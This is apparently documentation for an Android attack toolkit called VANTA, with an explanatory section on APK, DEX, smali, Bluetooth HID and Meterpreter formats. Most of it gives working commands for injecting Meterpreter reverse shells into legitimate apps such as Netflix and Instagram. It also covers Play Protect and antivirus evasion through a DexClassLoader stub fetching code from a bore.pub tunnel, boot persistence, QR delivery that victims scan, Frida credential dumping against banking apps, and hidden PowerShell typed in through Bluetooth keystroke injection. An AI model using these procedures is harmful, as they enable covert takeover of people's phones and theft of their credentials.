If msfvenom's internal decompiler fails (common with large, obfuscated, or multi-dex APKs like most
real-world apps), it automatically falls back to an apktool merge pipeline:
decode template → generate standalone payload APK → copy payload smali into template → inject
manifest components → rebuild with 4 GB JVM heap → sign. This makes the operation robust against
production APKs that msfvenom cannot handle directly.
lhost to auto, empty string,
none, or 0.0.0.0 triggers automatic detection from the default network route.
Do not pass these literally to msfvenom — the module resolves them first.
If you are targeting a WAN listener, set lhost to the actual bore.pub IP or your VPS IP.
set package com.example.app — not set backdoor_apk package com.example.app.
The latter would set a parameter called "backdoor_apk" with value "package com.example.app".
Example — Local APK (no device needed)
use android_pentest
set operation backdoor_apk
set apk_path /home/user/Downloads/Netflix.apk # local file — no device required
set lhost 192.168.1.101
set lport 4444
set wan_expose false
run
# If msfvenom -x fails (large/obfuscated APK), the apktool merge pipeline activates automatically.
# Output: ~/.vanta/android/auto/<ts>/Netflix_merged_signed.apk + handler.rc
Example — Device APK (LAN injection)
use android_pentest
set operation backdoor_apk
set package com.instagram.android
set lhost 192.168.1.42
set lport 4444
set install false
set wan_expose false # skip WAN expose for a LAN-only test
run connected
# After success, start the handler:
set operation msf_handler
set lhost 192.168.1.42
set lport 4444
run connected
Example — WAN injection (default)
use android_pentest
set operation backdoor_apk
set package com.example.calculator
set lport 4444
# lhost is auto-detected — bore resolves the WAN IP for msfvenom
# wan_expose defaults to true — bore tunnel + HTTP server start automatically
run connected
# GUI: switch to Delivery tab to get APK URL, QR code, and handler command
# CLI: delivery info printed to terminal after tunnel is ready
Execution steps
1. APK source - if apk_path set: copy local file (no device needed)
else: adb pull from /data/app/… (root /sdcard copy fallback)
2a. msfvenom -x - attempt payload injection into APK template; lhost auto-resolved
2b. apktool merge - if msfvenom -x fails (obfuscated / large APK):
msfvenom → standalone payload APK (no template)
apktool d → decode template
apktool d → decode payload
merge smali dirs + inject manifest components
java -Xmx4g -jar apktool.jar b → rebuild (bypasses -Xmx256M wrapper cap)
3. sign - generate ~/.vanta/android/vanta_debug.keystore if absent
sign with apksigner (v2+v3 scheme); jarsigner fallback if apksigner absent
4. handler.rc - write Metasploit handler resource script to work dir
5. install - (optional) adb uninstall + adb install -r -t
6. wan_expose - (default) spawn detached HTTP server + bore tunnel; print/save delivery info
~/.vanta/android/<serial>/<timestamp>/
— original APK, backdoored APK, signed APK, handler.rc, and vanta_debug.keystore.
Browse them in the GUI Files tab.
Deploy Shell
deploy_shell generates a fresh com.metasploit.stage reverse-shell APK
via msfvenom (no template APK needed), then installs it on the connected device via
adb install -r -t. WAN expose (bore tunnel + HTTP server) runs automatically after
install unless wan_expose=false. Button label in GUI: INJECT.
com.metasploit.stage is on every AV engine and Play Protect
blocklist. Use backdoor_apk (template injection) or rebuild (DexClassLoader chain)
for production engagements. See Play Protect Bypass.
use android_pentest
set operation deploy_shell
set lhost 192.168.1.42
set lport 4444
set wan_expose false # optional: skip WAN expose for LAN-only
run connected
WAN C2 - Boot Persistence & DexClassLoader Chain
The rebuild operation uses build_bootbuddy.py to produce a backdoored
APK that carries no static Meterpreter bytecode. Instead, a tiny DexClassLoader stub fetches
s.dex from a bore HTTP tunnel at runtime - bypassing Play Protect static scanning.
The full persistence chain fires on every device reboot.
C2 Chain - 4 Steps
BootReceiverstartForegroundService(AgentService)AgentServicePayload.start(context) via static invokePayload (DexClassLoader)s.dex from bore HTTP tunnel, loads via DexClassLoader, calls com.metasploit.stage.Payload.start()s.dex - Meterpreterandroid/meterpreter/reverse_http calls back to bore MSF tunnel → MSF sessionrebuild Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
| operation | string | rebuild | Must be set to rebuild |
| apk_path | string | required | Path to the base APK to patch (any Android APK with a boot receiver) |
| bore_dex_port | int | 21062 | bore.pub public port serving s.dex and rebuilt.apk via HTTP |
| bore_msf_port | int | 37993 | bore.pub public port forwarding to local MSF listener (4444) |
| bore_server | string | bore.pub | bore relay hostname - resolved to IPv4 before passing to msfvenom |
Example - Full WAN Build
use android_pentest
set operation rebuild
set apk_path /tmp/base.apk
set bore_dex_port 21062
set bore_msf_port 37993
run connected
# VANTA will:
# 1. Patch BootReceiver + AgentService + Payload smali
# 2. Generate s.dex (msfvenom android/meterpreter/reverse_http)
# 3. Rebuild + sign APK → output/rebuilt.apk
# 4. Print ASCII QR + save output/apk_delivery.png
# 5. Print watchdog + bore commands
bore Tunnel Setup
bore creates persistent WAN tunnels without port-forwarding. Run these before the target scans the QR:
# Serve output/ directory (DEX + rebuilt APK)
python3 -m http.server 8080 --directory output/
# bore DEX tunnel - port 21062 maps to local :8080
bore local 8080 --to bore.pub --port 21062
# bore MSF tunnel - port 37993 maps to local :4444
bore local 4444 --to bore.pub --port 37993
# MSF multi/handler
msfconsole -q -x "use multi/handler; set payload android/meterpreter/reverse_http; \
set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -j"
c2_watchdog.sh - Auto-Restart
The watchdog script manages all 4 processes with health-check loops and auto-restart on failure:
# Start all C2 components in background with watchdog
bash tools/mobile/android/c2_persistence/c2_watchdog.sh \
--dex-port 8080 --bore-dex-port 21062 \
--msf-port 4444 --bore-msf-port 37993 \
--output-dir output/
Serves output/ dir on :8080. Watched every 10 s.
DEX + APK delivery tunnel. Restarted if bore exits.
MSF C2 tunnel. Restarted if bore exits.
reverse_http on :4444. Manages incoming sessions.
QR APK Delivery
After a successful build, VANTA prints a scannable ASCII QR in the terminal and saves a PNG:
══════════════════════════════════════════════════════
SCAN TO INSTALL APK
http://bore.pub:21062/rebuilt.apk
══════════════════════════════════════════════════════
[QR rendered here in terminal]
→ PNG saved to: output/apk_delivery.png
The QR encodes the full WAN URL. The device downloads and installs the APK; after first launch (or reboot via boot receiver), the DexClassLoader chain fires and a Meterpreter session appears in the MSF handler.
Play Protect Bypass Options
A raw deploy_shell APK (com.metasploit.stage) is one of the most
fingerprinted signatures on Android — every AV engine and Play Protect flags it immediately.
Two bypass routes are available depending on whether you have a legitimate template APK.
| Approach | Operation | Detection Risk | Requires |
|---|---|---|---|
| Raw payload | deploy_shell | FLAGGED — com.metasploit.stage on all blocklists | Nothing extra |
| Template injection | backdoor_apk | MEDIUM — looks like a real app, package name preserved | A legitimate APK template |
| DexClassLoader chain | rebuild | LOW — no static Meterpreter bytecode in APK | A base APK + bore tunnel for DEX delivery |
Option 1 — Template Injection (backdoor_apk)
Injects the msfvenom payload into a legitimate APK using msfvenom -x.
The resulting APK keeps the original package name, icon, and activity structure.
Play Protect sees a real application, not com.metasploit.stage.
# Step 1 — backdoor a template APK (e.g. a calculator or utility app)
use android_pentest
set operation backdoor_apk
set package com.example.calculator # package installed on device — or use apk_path
set lhost 161.35.110.36 # bore.pub resolved IP
set lport 41736 # bore MSF tunnel port
run connected
# Step 2 — serve + QR (WAN delivery)
set operation qr_exploit
set mode wan
set apk_path /path/to/calculator_backdoored_signed.apk
run no_device
msfvenom -x — VANTA automatically falls back to
the apktool merge pipeline for these. Both paths produce a signed, installable APK.
Good templates: lightweight utilities from APKPure — file managers, calculators, clocks.
Large real-world APKs (e.g. streaming apps) work too via the apktool fallback.
Option 2 — DexClassLoader Chain (rebuild)
No Meterpreter bytecode exists inside the APK at all. A tiny stub fetches
s.dex from a bore HTTP tunnel at runtime via DexClassLoader.
Play Protect static scanning sees an empty fetcher — nothing to flag.
use android_pentest
set operation rebuild
set apk_path /tmp/base.apk
set bore_dex_port 21062 # bore.pub:21062 → local HTTP server serving s.dex
set bore_msf_port 37993 # bore.pub:37993 → local MSF handler :4444
run connected
com.android.system.health.Payload — mimics AOSP namespace.
ProcessBuilder + split command string instead of Runtime.exec().
Frida Hook
Automatically deploys frida-server to a rooted device, then attaches to the
target package with a preset hook based on hook_mode.
set operation frida_hook
set package com.example.banking
set hook_mode ssl_unpin # or: all | root_bypass | dump_creds | trace
set hook_timeout 60
run connected
| hook_mode | Description |
|---|---|
| all | SSL unpinning + root bypass + credential dumping (default) |
| ssl_unpin | Bypass SSL certificate pinning only |
| root_bypass | Bypass root detection checks |
| dump_creds | Hook login methods to capture credentials |
| trace | Method trace - set trace_method to a class/method substring |
Process Inject & Live Process Sniffer
Runtime injection into any running APK process — no reboot, no reinstall. The GUI's
Instrumentation → process inject card exposes a live process sniffer panel
that SSE-streams ps -A output every 2 seconds. Click any row to set it as the
injection target, then run with your chosen inject_mode.
| action | What it does |
|---|---|
| sniff | Enumerate all running processes; GUI table auto-refreshes every 2 s via SSE on /api/proc/stream. One-shot JSON available at /api/proc/list. |
| inject | Attach to target PID/package and inject a Java-based reverse shell thread. Supports inject_mode=frida (default) or inject_mode=ptrace (root only). |
| persist_only | Skip injection — only install persistence into the target package (Magisk service.sh + BootReceiver smali patch). |
# Sniff running processes
set operation process_inject
set action sniff
run connected
# Inject into PID 3421 with persistence
set operation process_inject
set action inject
set target_process 3421
set inject_mode frida
set lhost 10.10.10.5
set lport 4444
set persist true
run connected
# Inject by package name
set target_process com.target.app
run connected
| inject_mode | Requires root | Mechanism |
|---|---|---|
| frida | No (frida-server must be running) | Deploys frida-server if absent; attaches by PID or package name; injects Java Thread opening a reverse socket to LHOST:LPORT, forks /system/bin/sh with I/O redirected. |
| ptrace | Yes | Pushes inject_arm64 + shell_arm64.so from agent/; uses ptrace to load the SO into the target process. Requires pre-built ARM64 injector binaries. |
Frida-server binary: place the ARM64 release from
github.com/frida/frida/releases
at tools/mobile/android/agent/frida-server or ~/.vanta/frida-server.
The tool auto-deploys it to /data/local/tmp/frida-server and starts it in daemon mode.
Persistence (persist=true):
- Magisk service.sh — appends agent launch to
/data/adb/modules/vanta_hook/service.sh; runs on every boot (root required). - BootReceiver smali — generates a
BootReceiver.smalipatch for the target APK; combine withbackdoor_apk+ reinstall for a fully no-root persistent shell. - BOOT_COMPLETED broadcast — immediately re-triggers the receiver via
am broadcastso the shell re-connects without rebooting.
MSF Handler
Starts msfrpcd in the background and writes connection config to
~/.vanta/msf_rpc.json. The VANTA shell can then manage sessions with
sessions list, sessions interact <id>, etc.
set operation msf_handler
set lhost 192.168.1.42
set lport 4444
run connected
# After handler starts:
sessions list
sessions interact 1
File Manager
The Files tab in the GUI is a full dual-pane file manager — host filesystem on the left, connected Android device on the right, file preview on the far right. It is the primary interface for loading APKs into operations, pulling files from the device, decompiling and recompiling APKs, and managing the work directory.
Host Pane
Browses any directory on the pentest host. The path bar accepts direct input; breadcrumbs are clickable.
Directories auto-initialise at ~/.vanta/android/ (the work dir).
| Action | How to trigger | Notes |
|---|---|---|
| Navigate | Double-click a directory | Breadcrumb segments are also clickable |
| Preview file | Single-click any file | Text files: shows first 3 KB. Binary: shows size + download button. |
| Use APK in ops | Right-click APK → use in ops | Sets the apk_path field in the currently visible operation params panel |
| Decompile APK | Right-click APK → decompile APK | Runs apktool d; decoded dir opens in host pane at ~/.vanta/android/decoded/<name>/ |
| Recompile APK | Right-click decoded dir → recompile | Runs apktool b + auto-signs with vanta_debug.keystore; output: ~/.vanta/android/apks/<name>_recompiled.apk |
| Download to browser | Right-click file → download | Served via GET /api/fs/download with correct Content-Type |
| Upload file | Click ⬆ upload in toolbar | File picker → binary upload to current host directory via POST /api/fs/upload |
| Create folder | Click + folder | Prompts for folder name, creates at current path |
| Rename | Right-click → rename | Prompts for new path; supports moves across directories |
| Delete | Right-click → delete | Confirmation dialog; removes file or entire directory tree |
| Copy path | Right-click → copy path | Copies absolute path to clipboard |
Device Pane
Browses the connected Android device via adb shell ls -la. Quick-nav buttons in the toolbar
jump to /sdcard and /data/app. Requires a device to be selected in the device
dropdown.
| Action | How to trigger | Notes |
|---|---|---|
| Pull file to host | Right-click file → pull to host | Saved to ~/.vanta/android/pulled/ via adb pull |
| Pull APK by package name | Toolbar ⬇ pull APK button | Prompts for package name; uses pm path <pkg> + adb pull; root fallback via /sdcard copy |
| Pull APK + decompile | Right-click APK → pull APK + decompile | Pulls then immediately runs apktool decode |
| Push selected host file | Select a host file first, then right-click device entry → push file here | Runs adb push <local> <remote_path> |
| Refresh | Toolbar ⟳ refresh | Re-runs ls -la on current device path |
APK Decompile / Recompile Safety
The recompile flow uses apktool b (not a manual smali repack) which preserves all
resource IDs, manifest meta, and signing requirements. After recompile, the APK is automatically
signed with a freshly generated vanta_debug.keystore via apksigner (falls back
to jarsigner). This ensures the repackaged APK installs cleanly without breaking the
original functionality — critical when the APK is a working app template for payload injection.
adb uninstall <pkg>)
before installing the recompiled version. The install=true param in backdoor_apk handles this automatically.
Examples
Device recon
use android_pentest
run connected # operation defaults to recon
Full audit of a specific app
set operation full
set package com.target.app
set deep_analysis true
set search_secrets true
run connected
SSL pinning bypass (no root)
set operation app_scan
set package com.target.app
set bypass_ssl true
run connected
Network capture + logcat leak detection
set operation network
set package com.target.app
run connected # requires root on device
Backdoor APK with automatic WAN delivery (default flow)
use android_pentest
set operation backdoor_apk
set package com.example.calculator
set lport 4444
# wan_expose=true by default — bore tunnel starts after injection
run connected
# CLI output / GUI Delivery tab will show:
# APK URL: http://bore.pub:<port>/calculator_backdoored_signed.apk
# MSF tunnel: bore.pub:<port2> → localhost:4444
# Handler cmd: msfconsole -q -r handler.rc
Process inject into running app (Frida)
set operation process_inject
set action inject
set target_process com.target.app # or a PID integer
set inject_mode frida
set lhost 10.10.10.5
set lport 4444
set persist true
run connected
Decompile + modify APK (GUI file manager)
# 1. Open Files tab in GUI
# 2. Navigate to ~/.vanta/android/apks/ and right-click the APK
# 3. Select "decompile APK" — apktool decode runs, decoded dir shown in host pane
# 4. Navigate into decoded/ dir, edit smali / resources in PTY Terminal tab
# 5. Right-click the decoded dir → "recompile" — apktool build + auto-sign
# 6. Right-click the recompiled APK → "use in ops" to set apk_path for next operation
WAN QR delivery via bore (qr_exploit wan mode — CLI)
use android_pentest
set operation qr_exploit
set mode wan
set apk_path /home/user/payloads/backdoor.apk
run no_device
# VANTA will:
# 1. Spawn detached APK HTTP server (survives parent exit)
# 2. Start bore tunnel → bore.pub, obtain public port
# 3. Generate QR encoding http://bore.pub:<port>/backdoor.apk
# 4. Print ASCII QR + save PNG — victim scans to download
# GUI: use the Delivery tab instead — populated automatically after injection ops
Architecture Deep Dive
This chapter dissects every technology layer VANTA touches during an Android pentest engagement — from the raw bytes inside an APK file to the TLV packets Meterpreter sends home. No prior knowledge assumed. Read this once and the rest of the module documentation will make complete sense.
APK Format — Byte by Byte
An APK (Android Package) is a ZIP archive with a specific set of required files. ZIP is not a single file format — it's a series of records. Every ZIP record begins with a 4-byte magic signature. The hex dump of any APK's first 4 bytes is always:
## Hex dump of first 8 bytes of any APK
50 4B 03 04 14 00 08 08
^^^^^^^^^
PK\x03\x04 = ZIP Local File Header signature (little-endian 0x04034b50)
↑ "PK" honours Phil Katz, creator of ZIP
After that signature come 26 more header bytes describing the first compressed file entry, then its compressed data. This repeats for every file in the archive. At the end of the archive sits the End of Central Directory (EOCD) record:
## End of Central Directory — last record in every ZIP/APK
50 4B 05 06 00 00 00 00 ...
^^^^^^^^^
PK\x05\x06 = EOCD signature
APK v2/v3 signing (used by modern Android) inserts an APK Signing Block between the last
ZIP entry data and the Central Directory. That block is why you cannot simply unzip + rezip a signed APK —
you'd destroy the v2 signature. apktool handles this by stripping the signing block during
decode and letting you re-sign via apksigner after rebuild.
Required Files Inside an APK
| Path inside ZIP | Purpose | Format |
|---|---|---|
classes.dex | Compiled Java/Kotlin bytecode — the app's logic | DEX binary (see next section) |
classes2.dex… | Additional DEX for large apps (MultiDex) | DEX binary |
AndroidManifest.xml | App identity, permissions, components | Binary XML (AXML) |
resources.arsc | Compiled string/layout resource table | Binary resource table |
META-INF/MANIFEST.MF | APK v1 (JAR) signature hashes | Plain text |
META-INF/*.RSA | APK v1 certificate + PKCS#7 signature block | DER-encoded PKCS#7 |
META-INF/*.SF | Signature manifest (digests of MANIFEST.MF entries) | Plain text |
lib/<abi>/*.so | Native C/C++ shared libraries (optional) | ELF shared object |
assets/ | Raw bundled files (no processing by AAPT) | Any |
res/ | Compiled resource files (layouts, drawables) | Binary XML / PNG |
When VANTA injects a Meterpreter payload via backdoor_apk, it uses apktool to
decode the ZIP, inserts new smali files into the decoded smali/ directory, patches
AndroidManifest.xml to add the payload's components, rebuilds with apktool b,
and re-signs with the VANTA keystore. The output APK has the same ZIP structure as any other APK.
DEX File Format & Dalvik Bytecode
classes.dex is the heart of every Android app. It contains all compiled Java/Kotlin classes
encoded in the Dalvik Executable format. Dalvik is the original Android VM (replaced by ART in Android 5+,
but the bytecode format is identical — ART compiles DEX to native machine code ahead-of-time via dex2oat).
DEX Header (first 112 bytes)
## Annotated hex dump of a DEX header
Offset Size Value Meaning
────── ──── ────────────────────── ────────────────────────────────
0x00 8 64 65 78 0A 30 33 35 00 magic: "dex\n035\0" (version 035)
0x08 4 XX XX XX XX checksum (Adler-32, covers 0x0C–EOF)
0x0C 20 XX...XX SHA-1 hash (covers 0x20–EOF)
0x20 4 XX XX XX XX file_size (total bytes)
0x24 4 70 00 00 00 header_size = 0x70 (always 112)
0x28 4 78 56 34 12 endian_tag = 0x12345678 (little-endian)
0x2C 4 00 00 00 00 link_size (0 = no static linking)
0x30 4 00 00 00 00 link_off
0x34 4 XX XX XX XX map_off (offset to type map list)
0x38 4 XX XX XX XX string_ids_size (count of string literals)
0x3C 4 XX XX XX XX string_ids_off
0x40 4 XX XX XX XX type_ids_size (count of types/classes)
0x44 4 XX XX XX XX type_ids_off
0x48 4 XX XX XX XX proto_ids_size (method signatures)
0x4C 4 XX XX XX XX proto_ids_off
0x50 4 XX XX XX XX field_ids_size
0x54 4 XX XX XX XX field_ids_off
0x58 4 XX XX XX XX method_ids_size (all method references)
0x5C 4 XX XX XX XX method_ids_off
0x60 4 XX XX XX XX class_defs_size (class definitions)
0x64 4 XX XX XX XX class_defs_off
0x68 4 XX XX XX XX data_size
0x6C 4 XX XX XX XX data_off
backdoor_apk inserts payload smali, apktool
reconstructs the entire DEX header — recalculating the Adler-32 checksum, SHA-1 hash, section offsets,
and string/type/method ID tables. This is why the rebuild step takes several seconds for large APKs:
apktool is writing a valid DEX from scratch, not just patching bytes.
String Lookup Internals
Every string literal in your app (class name, method name, URL, key, etc.) exists exactly once in
the String IDs section. Each entry is a 4-byte offset pointing into the data section where
a ULEB128-encoded length prefix is followed by the UTF-8 bytes. This is why secret scanners in
app_scan can extract API keys from compiled APKs without decompiling — they read the
DEX string table directly.
Smali — Dalvik Assembly Language
Smali is the human-readable assembly representation of Dalvik bytecode, created by
Ben Gruver. When apktool d decodes an APK, it runs baksmali (the disassembler) on every
classes.dex to produce .smali files. When you run apktool b
it runs smali (the assembler) to turn those files back into a valid DEX.
The Register Machine Model
Dalvik is a register-based virtual machine, unlike the Java Virtual Machine (JVM) which is stack-based. This means every operation explicitly names its source and destination registers. There is no implicit operand stack. A method declares how many registers it needs in its header:
# Example smali method header
.method public constructor <init>()V
.registers 2 # this method uses 2 registers total
# v0 = local var, p0 = "this" reference (implicit parameter)
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
Registers are named v0–vN (locals) and p0–pM (parameters). For non-static
methods, p0 is always this. The parameter registers always occupy the top
of the register space: if a method declares .registers 5 with 2 params, then
v0–v2 are locals and v3–v4 (= p0–p1) are parameters.
Core Opcode Reference
| Opcode | Example | What it does |
|---|---|---|
const/4 | const/4 v0, 0x1 | Load 4-bit signed literal into vN (values -8 to 7) |
const/16 | const/16 v0, 0x100 | Load 16-bit signed literal |
const | const v0, 0xDEADBEEF | Load full 32-bit literal |
const-string | const-string v0, "hello" | Load a reference to string literal |
const-class | const-class v0, Ljava/lang/String; | Load a Class reference |
move | move v0, v1 | Copy v1 → v0 |
move-result | move-result v0 | Capture return value of last invoke into v0 (primitive) |
move-result-object | move-result-object v0 | Capture return value (object reference) |
new-instance | new-instance v0, Ljava/net/URL; | Allocate new object (does NOT call constructor) |
invoke-virtual | invoke-virtual {v0,v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | Call virtual method (polymorphic) |
invoke-direct | invoke-direct {v0}, Ljava/lang/Object;-><init>()V | Call constructor or private method |
invoke-static | invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I | Call static method |
invoke-interface | invoke-interface {v0}, Ljava/util/List;->size()I | Call via interface (runtime lookup) |
iget-object | iget-object v0, p0, Lcom/app/Foo;->mBar:Ljava/lang/String; | Read instance field (object type) |
iput | iput v1, p0, Lcom/app/Foo;->mCount:I | Write instance field (primitive) |
sget-object | sget-object v0, Lcom/app/Cfg;->C2_URL:Ljava/lang/String; | Read static field |
if-eqz | if-eqz v0, :label | Branch if v0 == 0 (null/false) |
if-nez | if-nez v0, :label | Branch if v0 != 0 |
goto | goto :loop_start | Unconditional jump to label |
return-void | return-void | Return from void method |
return-object | return-object v0 | Return object reference |
throw | throw v0 | Throw exception in v0 |
array-length | array-length v0, v1 | v0 = len(v1[]) |
new-array | new-array v0, v1, [B | Allocate byte[] of length v1 |
aput-byte | aput-byte v2, v0, v1 | v0[v1] = v2 (byte write) |
aget-byte | aget-byte v2, v0, v1 | v2 = v0[v1] (byte read) |
Reading Real Payload Smali
After backdoor_apk runs, the injected Meterpreter smali lives in
workdir/decoded/smali/com/android/providers/settings/service/.
Here is an annotated excerpt of the MainService.smali entry point that
msfvenom generates:
# Class declaration — note the stealth package name VANTA applies
.class public Lcom/android/providers/settings/service/MainService;
.super Landroid/app/Service; # extends Service (runs in background)
.method public onStartCommand(Landroid/content/Intent;II)I
.registers 4 # 4 regs: v0-v1 locals, p0=this, p1=intent, p2=flags, p3=startId
# ── Kick off the actual Meterpreter stage in a new thread ──
new-instance v0, Ljava/lang/Thread;
new-instance v1, Lcom/android/providers/settings/service/PayloadTrustManager;
invoke-direct {v1, p0}, Lcom/android/providers/settings/service/PayloadTrustManager;-><init>(Landroid/content/Context;)V
invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
invoke-virtual {v0}, Ljava/lang/Thread;->start()V
const/4 v0, 0x1
return v0 # START_STICKY — Android restarts service if killed
.end method
The key insight: START_STICKY (return value 1) tells Android to automatically
restart the service if the system kills it due to memory pressure. Combined with the
BootReceiver that restarts the service on reboot, the payload is highly persistent.
Binary AndroidManifest.xml (AXML)
The AndroidManifest.xml inside a compiled APK is NOT plain XML. AAPT2 (the Android Asset
Packaging Tool) compiles it to a compact binary format called AXML (Android XML).
This is why you see garbage if you open it in a text editor. apktool's baksmali decodes it back to
human-readable XML, and smali re-encodes it during rebuild.
## AXML binary structure overview
Offset Type Size Value Meaning
────── ───── ──── ─────────── ────────────────────────────────────────
0x00 uint16 2 03 00 RES_XML_TYPE (0x0003) — identifies AXML
0x02 uint16 2 08 00 Header size = 8 bytes
0x04 uint32 4 <total_sz> Total chunk size in bytes
↓
String Pool Chunk:
0x08 uint16 2 01 00 RES_STRING_POOL_TYPE (0x0001)
0x0A uint16 2 1C 00 String pool header size
0x0C uint32 4 <pool_sz> Total string pool bytes
0x10 uint32 4 N stringCount — number of strings
0x14 uint32 4 M styleCount — number of styles
0x18 uint32 4 flags Flags (UTF-8 flag = 0x100)
0x1C uint32 4 stringsStart Offset to string data
0x20 uint32 4 stylesStart Offset to style data
↓ string offsets array (N × 4 bytes) then string data
↓
XML Namespace Chunk (RES_XML_START_NAMESPACE_TYPE = 0x0100)
XML Element Chunks (RES_XML_START_ELEMENT_TYPE = 0x0102)
— each element records: line number, comment, namespace, name, attributes
— attributes have: namespace, name, rawValue (string ref), typedValue (type+data)
XML End Namespace Chunk (RES_XML_END_NAMESPACE_TYPE = 0x0101)
When VANTA's backdoor_apk adds a <service android:name=".MainService">
and a <receiver android:name=".BootReceiver"> to the manifest, apktool writes those
as new AXML element chunks with the correct attribute encoding. The android:exported attribute
uses the typed value format: type 0x12 (boolean) with data 0x00000000 (false)
or 0xFFFFFFFF (true).
Bluetooth HID — Packet Anatomy
The bt_zero_deliver operation impersonates a Bluetooth keyboard using the HID over
Bluetooth profile (HoB). Understanding the protocol stack tells you exactly what bytes go over
the air and why the attack works.
Protocol Stack
┌──────────────────────────────────────┐
│ Application (VANTA) │ ← DuckyScript → keycode translation
├──────────────────────────────────────┤
│ HID Profile (spec: HID 1.11) │ ← 9-byte input reports
├──────────────────────────────────────┤
│ L2CAP PSM 0x0011 / PSM 0x0013 │ ← logical channels
├──────────────────────────────────────┤
│ ACL (Async Connection-Less) │ ← reliable data transfer
├──────────────────────────────────────┤
│ Baseband / BR-EDR Radio │ ← Classic Bluetooth 2.4 GHz
└──────────────────────────────────────┘
L2CAP Frame Layout
## Classic Bluetooth ACL packet containing L2CAP data
┌─────────────┬─────────────┬──────────────────────────────────────┐
│ PayloadLen │ Channel ID │ L2CAP Payload │
│ 2 bytes LE │ 2 bytes LE │ (variable bytes) │
└─────────────┴─────────────┴──────────────────────────────────────┘
PSM 0x0011 = HID Control Channel (configuration, get/set report)
PSM 0x0013 = HID Interrupt Channel (actual keystroke data flows here)
HID Input Report — 9 Bytes
## A single keystroke = 9 bytes on the HID Interrupt channel
Byte Offset Example Meaning
──── ────── ──────── ────────────────────────────────────────────
0 0x00 A1 Transaction header: DATA(0xA0) + INPUT(0x01)
1 0x01 01 Report ID = 0x01 (keyboard report)
2 0x02 02 Modifier byte:
bit 0 = Left Ctrl
bit 1 = Left Shift ← 0x02 means Shift held
bit 2 = Left Alt
bit 3 = Left GUI (Win/Cmd key)
bits 4-7 = Right-side equivalents
3 0x03 00 Reserved (always 0x00)
4 0x04 0F Keycode 1 (HID Usage ID): 0x0F = 'l' key
5 0x05 00 Keycode 2 (0x00 = no additional key)
6 0x06 00 Keycode 3
7 0x07 00 Keycode 4
8 0x08 00 Keycode 5 ← 6 simultaneous keys max (NKRO)
## Example: Type capital 'L' (Shift + l)
A1 01 02 00 0F 00 00 00 00
↑ ↑ ↑
Shift 'l' key
## Key release — send all-zeros after each key press
A1 01 00 00 00 00 00 00 00
HID Usage Table — Common Keycodes
| Key | HID Usage ID | Key | HID Usage ID |
|---|---|---|---|
| a – z | 0x04 – 0x1D | Enter | 0x28 |
| 1 – 9 | 0x1E – 0x26 | Escape | 0x29 |
| 0 | 0x27 | Backspace | 0x2A |
| F1 – F12 | 0x3A – 0x45 | Tab | 0x2B |
| Space | 0x2C | Windows/GUI | modifier bit 3 |
| - (minus) | 0x2D | Right Arrow | 0x4F |
| = (equals) | 0x2E | Left Arrow | 0x50 |
| [ (left bracket) | 0x2F | Down Arrow | 0x51 |
| / (forward slash) | 0x38 | Up Arrow | 0x52 |
How bt_zero_deliver Translates DuckyScript
VANTA reads the DuckyScript payload line by line and translates each command to a sequence of HID reports.
For example, STRING powershell becomes 10 key-down + key-up report pairs (one per character).
ENTER becomes a single report with keycode 0x28. DELAY 500
becomes a 500 ms sleep between report sends. The result is indistinguishable from a human typing.
## DuckyScript → HID report sequence for "WIN r" shortcut
GUI r
↓ translated to:
Key down: A1 01 08 00 15 00 00 00 00 (modifier=0x08=Left GUI, keycode 0x15='r')
Key up: A1 01 00 00 00 00 00 00 00
## The full bt_zero_deliver Windows payload sequence:
GUI r → opens Run dialog
DELAY 600
STRING powershell -w hidden -ep bypass -e <base64_command>
ENTER → executes PowerShell
## Each ENTER/DELAY/STRING line → batch of 9-byte HID reports over L2CAP PSM 0x0013
Meterpreter Wire Protocol — TLV Deep Dive
Meterpreter does not use a simple shell protocol. It uses a custom Type-Length-Value (TLV) binary framing protocol, transported over HTTPS (or raw TCP/SSL). Understanding TLV explains why Meterpreter is so powerful and why it's hard to detect on the wire.
What is TLV?
TLV is a universal encoding scheme where every piece of data is wrapped in a 3-part envelope: its data type, its byte length, and its raw value. This makes the protocol self-describing and extensible — new command types can be added without breaking the parser.
## TLV Packet structure (all integers big-endian)
┌─────────────────────────────────────────────────────────┐
│ type │ length │ value │
│ 4 bytes │ 4 bytes │ (length - 8) bytes │
└─────────────────────────────────────────────────────────┘
## Full Meterpreter packet (multiple TLVs)
┌──────────────────────────────────────────────────────────────┐
│ XOR Key (4 bytes) │ packet_len (4 bytes) │
│ │ session_guid (16 bytes) │
│ │ encrypt_flags (4 bytes) │
│ │ payload_len (4 bytes) │
│ │ [ TLV 1 ][ TLV 2 ][ TLV N ]... │
└──────────────────────────────────────────────────────────────┘
XOR Encryption
Every Meterpreter packet is XOR-encrypted with a random 4-byte key. The key is prepended to each packet in plaintext, so the receiver knows how to decrypt. This is not strong encryption — it's obfuscation to defeat simple signature-based IDS rules that look for known byte patterns. Real confidentiality comes from TLS (the HTTPS transport layer underneath).
## Python: encrypt/decrypt a Meterpreter packet body
import os, struct
def xor_key() -> bytes:
return os.urandom(4)
def xor_packet(key: bytes, data: bytes) -> bytes:
k = key * (len(data) // 4 + 1) # tile key to cover data length
return bytes(a ^ b for a, b in zip(data, k))
# On wire: key (4 bytes) + xor_packet(key, packet_body)
Core TLV Type IDs
| Type ID (hex) | Constant name | Value format | Purpose |
|---|---|---|---|
0x00000001 | TLV_TYPE_ANY | any | Catch-all / group container |
0x00000002 | TLV_TYPE_METHOD | string | Command name (e.g. core_loadlib) |
0x00000003 | TLV_TYPE_REQUEST_ID | string (GUID) | Correlates responses to requests |
0x00000004 | TLV_TYPE_EXCEPTION | group TLV | Error detail |
0x00000005 | TLV_TYPE_RESULT | uint32 | 0 = success, else Win32 error code |
0x0000000A | TLV_TYPE_STRING | null-terminated UTF-8 | Generic string param |
0x0000000B | TLV_TYPE_UINT | uint32 | Generic integer |
0x0000000C | TLV_TYPE_BOOL | uint32 (0/1) | Boolean flag |
0x00000011 | TLV_TYPE_RAW | raw bytes | File data, binary payloads |
0x00001001 | TLV_TYPE_CHANNEL_ID | uint32 | Multiplexed channel ID |
